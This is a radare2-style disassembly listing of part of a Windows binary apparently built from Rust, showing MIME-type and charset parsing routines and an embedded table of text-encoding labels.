mov rcx, qword [r14 + 0x38]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x4e0]
mov rcx, qword [rsp + 0x4e8]
call qword [rax]
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], rdx
mov rax, qword [r14 + 0x40]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x140012d81
test al, 2
jne 0x140012df6
shr ebx, 8
mov ecx, ebx
mov edx, edi
call fcn.140165711
call fcn.140132160
mov r14, qword [rsp + 0x180]
jmp 0x140012ce2
lea rdx, str.RUST_MIN_STACKfatal_runtime_error:_something_here_is_badly_broken__n
lea rsi, [rsp + 0x430]
mov r8d, 0xe
mov rcx, rsi
call fcn.140151b60
mov rsi, qword [rsi]
movabs rdi, 0x8000000000000000
cmp rsi, rdi
jne 0x140016f94
mov r13d, 0x200000
jmp 0x140017fd9
lock or qword [r14 + 0x40], 1
mov rsi, qword [r14 + 0x18]
mov bl, byte [r14 + 0x10]
and qword [r14 + 0x10], 0
xor ecx, ecx
mov edx, edi
call fcn.140165711
test bl, 1
je 0x140018153
lea rdi, [rsp + 0x180]
mov rcx, rdi
call fcn.14010ea68
and qword [rdi], 0
mov rcx, rdi
call fcn.140121abf
mov rax, qword [rsp + 0x4e0]
mov rcx, qword [rsp + 0x4e8]
call qword [rax + 0x18]
test rsi, rsi
jne 0x140018592
mov rsi, qword [rsp + 0xc98]
mov ecx, 0x30
mov edx, 8
call fcn.1400da79b
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rsi
mov rcx, qword [rsp + 0xf40]
mov qword [rax + 0x28], rcx
movdqu xmm0, xmmword [rsp + 0xf30]
movdqu xmmword [rax + 0x18], xmm0
lea rdx, [rsp + 0x4c8]
mov qword [rdx], rax
mov qword [rdx + 8], 0x1e
and dword [rdx + 0x10], 0
mov qword [rsp + 0x20], 0x12
lea r8, [0x14026df68]
lea r9, [0x140240fa9]
lea rsi, [rsp + 0x7c0]
mov rcx, rsi
call fcn.140008939
lea rdi, [rsp + 0x4e0]
mov rcx, rdi
mov rdx, rsi
call fcn.140121d43
cmp dword [rdi], 3
je 0x1400185db
lea rsi, [rsp + 0xcb0]
lea rbp, [rsp + 0x4e0]
mov r8d, 0xc0
mov rcx, rsi
mov rdx, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov esi, dword [rsi + 0xa0]
cmp esi, 0x3b9aca00
jne 0x140012f21
mov dword [rsp + 0x70], 0x3b9aca00
jmp 0x140012f43
mov rdi, qword [rsp + 0xd48]
call fcn.140131700
mov rcx, rax
mov r8, rdi
mov r9d, esi
call fcn.1401573b0
mov r12, rax
mov dword [rsp + 0x70], edx
movabs rdi, 0x8000000000000000
call fcn.140131620
mov rcx, rax
call fcn.140121b2a
add rax, 0x10
lea rcx, [rsp + 0x270]
mov qword [rcx], r15
mov qword [rcx + 8], rax
lea rax, [rsp + 0x240]
mov qword [rax], rcx
mov qword [rax + 8], rcx
and qword [rax + 0x10], 0
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0xcb0]
mov r8d, 0x98
mov rcx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, str.utf_8
mov qword [rsi + 0x98], rax
mov qword [rsi + 0xa0], 5
lea rax, [rsp + 0x868]
mov byte [rax + 0x2e0], 0
lea r14, [rsp + 0x960]
xorps xmm6, xmm6
mov qword [rsp + 0x788], 0
xor eax, eax
lea r15, [rsp + 0x180]
mov qword [rsp + 0x78], r12
test al, al
je 0x14001303b
movzx eax, al
cmp eax, 3
add ecx, dword [rdi]
test dword [rdx], esi
push rdx
add byte [rax], al
movzx eax, byte [rsp + 0xb40]
test eax, eax
je 0x140013e15
cmp eax, 3
jne case.default.0x14001302c
js 0x140013066
add byte [rax], al
movzx eax, byte [rsp + 0xaf9]
lea rcx, [0x140239138]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [rsp + 0xa90]
jmp 0x140013e94
mov r8d, 0x98
lea rsi, [rsp + 0x868]
mov rcx, rsi
lea rdx, [rsp + 0x7c0]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov r12, qword [rsp + 0x858]
mov rbx, qword [rsp + 0x860]
movups xmm0, xmmword [0x14030bc58]
movaps xmmword [rsp + 0x4f0], xmm0
movdqu xmm0, xmmword [0x14030bc48]
movdqa xmmword [rsp + 0x4e0], xmm0
mov rcx, rsi
mov rdx, rbp
call fcn.14005274a
test rax, rax
je 0x140013382
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
call fcn.140061d31
test rax, rax
je 0x140013382
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0x48], rbp
mov r9d, 3
mov rcx, rax
lea r8, [0x14030b710]
call fcn.14003e713
movabs rcx, 0x8000000000000000
lea r15, [rcx + 2]
test al, al
mov qword [rsp + 0xa0], rbx
je 0x140013395
mov ebp, 1
xor r11d, r11d
lea r8, [0x1402a0609]
xor ebx, ebx
xor r10d, r10d
xor eax, eax
xor esi, esi
xor ecx, ecx
xor edx, edx
movabs r9, 0x8000000000000000
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0xf]
movups xmmword [rsp + 0x43f], xmm1
movaps xmmword [rsp + 0x430], xmm0
movaps xmm0, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0xfa0], xmm0
movups xmm0, xmmword [rsp + 0x43f]
movups xmmword [rsp + 0xfaf], xmm0
and ecx, 0xff00
movzx r8d, sil
or r8, rdx
or r8, rcx
mov qword [rsp + 0x900], r11
mov qword [rsp + 0x908], r8
mov qword [rsp + 0x910], r15
mov qword [rsp + 0x918], r14
mov qword [rsp + 0x920], rbx
mov qword [rsp + 0x148], r10
mov qword [rsp + 0x928], r10
mov byte [rsp + 0x930], al
movups xmm0, xmmword [rsp + 0xfaf]
lea rax, [rsp + 0x7c0]
movups xmmword [rax + 0x180], xmm0
movdqa xmm0, xmmword [rsp + 0xfa0]
movdqu xmmword [rax + 0x171], xmm0
mov qword [rsp + 0x950], rbp
xor r15, r9
cmp r15, 3
mov eax, 1
cmovae r15, rax
mov qword [rsp + 0x328], rbx
shl rbx, 5
add rbx, r14
mov qword [rsp + 0xe0], r14
test r15, r15
je 0x140013219
cmp r15, 1
jne 0x140013402
mov al, 2
cmp rbx, r14
jne 0x140013245
lea rcx, [rsp + 0x180]
jmp 0x1400132e5
mov esi, 5
mov r15d, 2
mov bpl, 1
mov r8d, 7
lea rdx, [0x14030a6f8]
mov rcx, rdx
lea rdi, str.utf_8
mov al, 1
jmp 0x140013315
lea r15, [r14 + 0x20]
mov r8, qword [r14]
mov r9, qword [r14 + 8]
mov rsi, qword [r14 + 0x10]
mov rdi, qword [r14 + 0x18]
lea r14, [rsp + 0x930]
movzx eax, byte [r14]
mov rcx, qword [r14 + rax*8 + 8]
mov rdx, qword [r14 + rax*8 + 0x10]
lea rax, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srclib.rs
mov qword [rsp + 0x20], rax
call fcn.140121505
mov rbp, rax
mov r13, rdx
movzx eax, byte [r14]
mov rcx, qword [r14 + rax*8 + 8]
mov rdx, qword [r14 + rax*8 + 0x10]
lea rax, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srclib.rs
mov qword [rsp + 0x20], rax
mov r8, rsi
mov r9, rdi
call fcn.140121505
mov rdi, rax
mov rsi, rdx
mov r9d, 7
mov qword [rsp + 0x50], rbp
mov rcx, rbp
mov qword [rsp + 0x58], r13
mov rdx, r13
lea r8, [0x14030a6f8]
call fcn.140101d76
mov byte [rsp + 0x180], 1
mov r14, r15
lea rcx, [rsp + 0x290]
mov byte [rcx], al
mov al, byte [rsp + 0x180]
cmp al, 2
je 0x140013402
mov r15d, 1
mov bpl, byte [rsp + 0x290]
lea rdx, [0x14030a6f8]
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x4e0], rcx
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x4e8], r8
lea rcx, [rsp + 0x4f1]
and dword [rcx + 3], 0
and dword [rcx], 0
mov byte [rsp + 0x4f0], al
mov qword [rsp + 0x4f8], rdi
mov qword [rsp + 0x500], rsi
mov byte [rsp + 0x508], bpl
and dword [rcx + 0x1b], 0
and dword [rcx + 0x18], 0
mov r8d, 7
mov rcx, qword [rsp + 0x48]
call fcn.1400763f3
test al, al
je 0x1400131f6
jmp 0x140013415
mov qword [rsp + 0x900], 2
xor eax, eax
jmp 0x14001344f
lea r8, [rsi + rdi]
xor eax, eax
cmp rdi, rax
je 0x1400133cb
mov rbp, rax
movzx ecx, byte [rsi + rax]
inc rax
lea rdx, [0x1402a06c0]
add byte [rax + 0x7500113c], al
invalid
cmp cl, 0x2f
setne cl
test rbp, rbp
sete dl
or dl, cl
je 0x140013572
mov qword [rsp + 0x900], 2
xor eax, eax
jmp 0x140013432
mov rdx, qword [rsp + 0xb00]
jmp 0x140013ecc
mov rdi, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x330]
mov bpl, 2
cmp bpl, 2
mov eax, 0
cmovne rax, rdi
mov qword [rsp + 0x338], rdi
mov qword [rsp + 0x330], rsi
lea r15, [rsp + 0x180]
mov rbp, qword [rsp + 0x48]
lea r14, [rsp + 0x960]
mov rbx, qword [rsp + 0xa0]
test rax, rax
cmovne r12, rax
cmove rsi, rbx
lea rax, [rsp + 0x4f1]
and word [rax], 0
movups xmmword [rax - 0x10], xmm6
lea rax, [r12 + rsi]
inc r12
movabs r9, 0x100003600
movabs r10, 0x400600000000000
test rsi, rsi
je 0x140013dda
movzx ecx, byte [r12 - 1]
cmp rcx, 0x3a
ja 0x1400134ae
bt r9, rcx
jae 0x1400134a8
inc r12
dec rsi
jmp 0x140013485
bt r10, rcx
jb 0x1400134de
cmp ecx, 0x5f
je 0x1400134de
lea edx, [rcx - 0x41]
cmp dl, 0x1a
jae 0x1400134c0
or cl, 0x20
jmp 0x1400134de
lea edx, [rcx - 0x61]
cmp dl, 0x1a
setb dl
lea r8d, [rcx - 0x30]
cmp r8b, 0xa
setb r8b
or r8b, dl
je 0x140013dda
mov byte [rsp + 0x4e0], cl
mov ecx, 1
cmp r12, rax
je 0x14001356a
movzx edx, byte [r12]
cmp rdx, 0x3a
ja 0x14001350a
bt r10, rdx
jb 0x14001350f
bt r9, rdx
jb 0x140013dd5
cmp edx, 0x5f
jne 0x140013532
cmp rcx, 0x13
je 0x140013dda
cmp rcx, 0x12
ja 0x140018102
mov byte [rsp + rcx + 0x4e0], dl
inc r12
inc rcx
jmp 0x1400134ea
lea r8d, [rdx - 0x41]
cmp r8b, 0x1a
jae 0x140013551
cmp rcx, 0x13
je 0x140013dda
jae 0x1400182b9
or dl, 0x20
jmp 0x140013523
lea r8d, [rdx - 0x61]
cmp r8b, 0x1a
jb 0x14001350f
lea r8d, [rdx - 0x3a]
cmp r8b, 0xf6
jae 0x14001350f
jmp 0x140013dda
mov r12, rax
jmp 0x140013dbb
lea r14, [rsi + rbp]
inc r14
mov r13, rax
xor r9d, r9d
cmp r14, r8
je 0x1400135d8
mov rcx, r14
mov rbx, r13
inc r14
movzx edx, byte [rcx]
inc r13
cmp edx, 0x2b
je 0x1400135a7
cmp edx, 0x3b
jne 0x1400135ac
cmp rbx, rax
jbe 0x1400135ac
jmp 0x14001365c
cmp rbx, rax
ja 0x1400135be
lea rcx, [0x1402a06c0]
cmp byte [rdx + rcx], 0
jne 0x14001357f
jmp 0x1400133cb
lea r13, [rbx + 1]
inc rcx
mov r9d, 1
mov r14, rcx
mov qword [rsp + 0xa8], rbx
jmp 0x14001357f
mov rcx, qword [rsp + 0x48]
mov rdx, rsi
mov r8, rdi
mov rsi, r9
call fcn.14007630c
mov r11, rsi
mov rax, qword [rsp + 0x4f0]
lea rcx, [rsp + 0x297]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x4e0]
movdqu xmmword [rcx], xmm0
mov rsi, qword [rsp + 0xa8]
mov rcx, rsi
and rcx, 0xffffffffffffff00
mov rdx, rsi
and rdx, 0xffffffffffff0000
mov al, 1
lea r8, [rsp + 0x290]
movabs r9, 0x8000000000000000
mov r14, qword [rsp + 0xe0]
mov r10, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x328]
jmp 0x140013117
movabs rax, 0x8000000000000000
add rax, 2
mov qword [rsp + 0x4e0], rax
lea rax, [rbx + 2]
mov qword [rsp + 0x88], rax
mov r11, r13
cmp r11, rdi
jae 0x140013b06
cmp r14, r8
je 0x140013aec
movzx eax, byte [r14]
inc r14
lea r15, [r13 + 1]
cmp rax, 0x20
je 0x14001376c
lea rcx, [0x1402a06c0]
cmp byte [rax + rcx], 0
mov r13, r15
jne 0x14001368a
cmp eax, 0x3d
jne 0x140013aec
lea rax, [r15 - 1]
mov qword [rsp + 0x60], rax
cmp rax, r11
jbe 0x140013aec
xor eax, eax
mov r13, r15
mov rdx, r13
test al, 1
je 0x140013711
cmp r14, r8
je 0x140013aec
mov cl, byte [r14]
inc r14
lea r13, [rdx + 1]
cmp cl, 0x22
jne 0x1400136fc
cmp rdx, r15
ja 0x14001374a
cmp cl, 0x20
jb 0x140013aec
mov al, 1
cmp cl, 0x7f
jne 0x1400136d8
jmp 0x140013aec
cmp r14, r8
je 0x140013780
movzx ecx, byte [r14]
inc r14
lea r13, [rdx + 1]
cmp rcx, 0x22
je 0x14001373b
xor eax, eax
mov r10, rdx
lea rdx, [0x1402a06c0]
cmp byte [rcx + rdx], 0
jne 0x1400136d8
jmp 0x14001378b
mov al, 1
cmp rdx, r15
mov r15, r13
je 0x1400136d8
jmp 0x140013aec
cmp r14, r8
je 0x140013786
movzx eax, byte [r14]
inc r14
inc r13
cmp eax, 0x20
je 0x14001374a
cmp eax, 0x3b
jne 0x140013aec
mov r10, r13
jmp 0x1400137a3
cmp r13, r11
jne 0x140013aec
inc r11
mov r13, r15
jmp 0x140013681
mov r13, rdx
mov rdx, rdi
mov r10, rdi
jmp 0x1400137a3
cmp ecx, 0x3b
jne 0x140013aec
mov rdx, r10
mov r10, r13
cmp rdx, r15
jbe 0x140013aec
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x90], rax
movabs rcx, 0x8000000000000000
xor rax, rcx
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x98], r10
je 0x14001388d
cmp rax, 1
jne 0x14001399e
mov r10, qword [rsp + 0x4f0]
cmp r10, qword [rsp + 0x90]
jne 0x140013846
mov qword [rsp + 0x90], r10
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x140], r8
mov qword [rsp + 0x178], r11
call fcn.140090b45
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x178]
mov r8, qword [rsp + 0x140]
mov r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x4e8]
mov rcx, r10
shl rcx, 5
mov qword [rax + rcx], r11
mov rdx, qword [rsp + 0x60]
mov qword [rax + rcx + 8], rdx
mov qword [rax + rcx + 0x10], r15
mov rdx, qword [rsp + 0x80]
mov qword [rax + rcx + 0x18], rdx
inc r10
mov qword [rsp + 0x4f0], r10
mov r11, qword [rsp + 0x98]
jmp 0x140013681
mov rcx, qword [rsp + 0x4e8]
mov qword [rsp + 0xf28], rcx
mov eax, 2
add rax, rcx
mov qword [rsp + 0xf20], rax
lea rax, [rcx + 9]
mov qword [rsp + 0xf18], rax
lea rax, [rcx + 0xa]
mov qword [rsp + 0xf10], rax
lea rax, [rcx + 0xf]
mov qword [rsp + 0xf08], rax
mov ecx, 0x40
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x140], r8
mov qword [rsp + 0x178], r11
call fcn.140006e25
mov rcx, rax
mov rax, qword [rsp + 0xf20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf18]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0xf10]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0xf08]
mov qword [rcx + 0x18], rax
mov rax, qword [rsp + 0x178]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x30], r15
mov rax, qword [rsp + 0x80]
mov qword [rcx + 0x38], rax
mov r15, rcx
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xf28]
call fcn.140076350
mov r8, qword [rsp + 0x140]
mov r9, qword [rsp + 0x68]
mov eax, 2
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], r15
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4f8], rbx
mov r11, qword [rsp + 0x98]
jmp 0x140013681
mov qword [rsp + 0x140], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x178], r11
cmp qword [rsp + 0x88], r11
jne 0x140013a64
lea rax, [0x1402a0630]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x60]
mov r8, rsi
mov r9, rdi
call fcn.1400762af
mov r8, rdx
lea rcx, [0x14030a700]
mov rdx, rax
call fcn.140076375
test al, al
je 0x140013a64
lea rax, [0x1402a0648]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, qword [rsp + 0x80]
mov r8, rsi
mov r9, rdi
call fcn.1400762af
mov r8, rdx
lea rcx, str.utf_8
mov rdx, rax
call fcn.140076375
test al, al
je 0x140013a64
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rsp + 0x90]
call fcn.140076350
movabs rax, 0x8000000000000000
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], rbx
jmp 0x140013ad2
mov ecx, 0x20
call fcn.140006e25
mov rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r15
mov rax, qword [rsp + 0x80]
mov qword [rcx + 0x18], rax
mov r15, rcx
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rsp + 0x90]
call fcn.140076350
mov eax, 1
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], r15
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4f8], rbx
mov r11, qword [rsp + 0x98]
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x140]
jmp 0x140013681
mov rcx, qword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x4e8]
call fcn.140076350
jmp 0x1400133cb
mov r15, qword [rsp + 0x4e0]
movabs rax, 0x8000000000000000
add rax, 3
cmp r15, rax
je 0x1400133cb
movzx eax, byte [rsp + 0x4e8]
movzx ecx, byte [rsp + 0x4e9]
mov edx, dword [rsp + 0x4ea]
movzx r8d, word [rsp + 0x4ee]
shl r8, 0x20
or r8, rdx
mov rdx, qword [rsp + 0x4f0]
mov qword [rsp + 0x328], rdx
mov rdx, qword [rsp + 0x4f8]
mov qword [rsp + 0x148], rdx
shl ecx, 8
or rcx, rax
shl r8, 0x10
or r8, rcx
mov qword [rsp + 0xe0], r8
mov rax, r15
movabs rcx, 0x8000000000000000
xor rax, rcx
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
cmp rax, 2
mov qword [rsp + 0x68], r9
je 0x140013bfc
cmp rax, 1
jne 0x140013c0c
mov rcx, qword [rsp + 0x48]
mov rdx, rsi
mov r8, rdi
call fcn.14012b8f5
mov r14, qword [rsp + 0x4e8]
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x60], rax
mov r9, qword [rsp + 0x148]
test r9, r9
mov rsi, qword [rsp + 0xe0]
je 0x140013c40
cmp qword [rsp + 0x60], r9
jbe 0x140013c3a
cmp byte [r14 + r9], 0xbf
jg 0x140013c40
jmp 0x14001874a
cmp rbx, rdi
jae 0x140013c1c
cmp byte [rsi + rbx], 0xbf
jg 0x140013c22
jmp 0x14001872d
lea rcx, [rsp + 0xb0]
mov rdx, rsi
mov r8, rdi
jmp 0x140013c30
jne 0x14001872d
lea rcx, [rsp + 0xb0]
mov rdx, rsi
mov r8, rbx
call fcn.14007630c
jmp 0x140013d48
jne 0x14001874a
mov rcx, r14
mov rdx, r9
call fcn.14007637a
mov rax, qword [rsp + 0x328]
shl rax, 5
mov qword [rsp + 0x88], rax
xor r13d, r13d
cmp qword [rsp + 0x88], r13
je 0x140013d26
mov rbx, qword [rsi]
mov rdi, qword [rsi + 8]
mov rcx, qword [rsp + 0x4e8]
mov rdx, qword [rsp + 0x4f0]
lea rax, [0x1402a0678]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov r9, rdi
call fcn.1400763a2
mov rcx, rax
call fcn.14007637a
lea rax, [0x1402a0690]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rdi
mov r8, r14
mov r9, qword [rsp + 0x60]
call fcn.1400762af
mov r9d, 7
mov rcx, rax
lea r8, [0x14030a6f8]
call fcn.14003e713
test al, al
je 0x140013d19
mov rax, qword [rsp + 0xe0]
mov r8, qword [rax + r13 + 0x10]
mov r9, qword [rax + r13 + 0x18]
mov rcx, qword [rsp + 0x4e8]
mov rdx, qword [rsp + 0x4f0]
lea rax, [0x1402a06a8]
mov qword [rsp + 0x20], rax
call fcn.1400763a2
mov rcx, rax
call fcn.14007637a
add rsi, 0x20
add r13, 0x20
jmp 0x140013c62
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0xc0], rax
movdqu xmm0, xmmword [rsp + 0x4e0]
movdqa xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0xc0]
lea rcx, [rsp + 0x187]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rsp + 0xb0]
movdqu xmmword [rcx], xmm0
mov rsi, qword [rsp + 0xa8]
mov rcx, rsi
and rcx, 0xffffffffffffff00
mov rdx, rsi
and rdx, 0xffffffffffff0000
mov al, 1
lea r8, [rsp + 0x180]
movabs r9, 0x8000000000000000
mov r14, qword [rsp + 0xe0]
mov r10, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x328]
mov r11, qword [rsp + 0x68]
jmp 0x140013117
cmp r12, rax
je 0x140013fc1
movzx edx, byte [r12]
cmp rdx, 0x20
ja 0x140013dda
bt r9, rdx
jae 0x140013dda
inc r12
jmp 0x140013dbb
xor eax, eax
mov r12, qword [rsp + 0x78]
test rax, rax
lea rcx, [0x14026a220]
cmove rax, rcx
mov qword [rsp + 0x958], rax
mov r8d, 0x98
mov rcx, r14
lea rdx, [rsp + 0x868]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov byte [rsp + 0xb40], 0
mov r8d, 0x98
lea rcx, [rsp + 0x9f8]
mov rdx, r14
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov r8d, 0x90
mov rcx, rbp
mov rdx, r14
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, [rsp + 0x7c0]
movdqu xmm0, xmmword [rax + 0x210]
movups xmm1, xmmword [rax + 0x220]
movdqa xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x190], xmm1
mov rcx, rbp
call fcn.1400daebf
mov ecx, 0xd
lea rax, [rsp + 0xa90]
mov rdi, rax
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0xaf9], 0
movabs rdi, 0x8000000000000000
mov byte [rsp + 0xaf8], 0
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rsp + 0xab0]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0xaf0], rax
lea rdx, [rsp + 0xaf0]
mov qword [rsp + 0xb00], rdx
mov rcx, rbp
lea r8, [rsp + 0x240]
call fcn.1401214fd
mov rcx, qword [rsp + 0x4e0]
cmp rcx, 2
jne 0x140013f0c
mov al, 3
mov ecx, dword [rsp + 0x70]
mov byte [rsp + 0xaf9], al
mov al, 3
mov byte [rsp + 0xb40], al
mov byte [rsp + 0xb48], al
jmp 0x140014d40
mov rax, qword [rsp + 0x4e8]
mov r13, qword [rsp + 0x4f0]
lea rdx, [rsp + 0x4f8]
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x210], xmm0
test cl, 1
je 0x140013fa7
test rax, rax
je 0x14001416a
mov byte [rsp + 0xaf8], 1
mov qword [rsp + 0xad0], rax
mov qword [rsp + 0xad8], r13
movdqa xmm0, xmmword [rsp + 0x210]
lea rax, [rsp + 0x7c0]
movdqu xmmword [rax + 0x320], xmm0
lea rdx, [rsp + 0xaf0]
mov qword [rsp + 0xb00], rdx
mov rcx, rbp
lea r8, [rsp + 0x240]
call fcn.1401214fd
mov rcx, qword [rsp + 0x4e0]
cmp rcx, 2
jne 0x14001405e
mov al, 4
jmp 0x140013eec
movaps xmmword [rsp + 0xb0], xmm6
mov r13d, 1
lea rsi, [0x140308958]
jmp 0x140014336
cmp rcx, 0x14
jae 0x14001838f
mov qword [rsp + 0x180], rbp
mov qword [rsp + 0x188], rcx
mov edi, 0xe4
xor esi, esi
mov r12, qword [rsp + 0x78]
cmp rdi, 2
jb 0x140014021
mov rbx, rdi
shr rbx, 1
lea r14, [rbx + rsi]
mov rax, r14
shl rax, 4
lea rcx, str.l1l2l3l4l5l6l9866mackoigbkbig5koi8sjisucs_2ms932cp866cp819x_gbkcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819visualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_utis_620ksc5601gb_2312dos_874cn_big5chineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599utf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov rdx, qword [rax + rcx]
mov r8, qword [rax + rcx + 8]
mov rcx, r15
call fcn.140047f46
cmp al, 1
cmovne rsi, r14
sub rdi, rbx
jmp 0x140013fe7
mov rax, rsi
shl rax, 4
lea rcx, str.l1l2l3l4l5l6l9866mackoigbkbig5koi8sjisucs_2ms932cp866cp819x_gbkcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819visualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_utis_620ksc5601gb_2312dos_874cn_big5chineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599utf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31j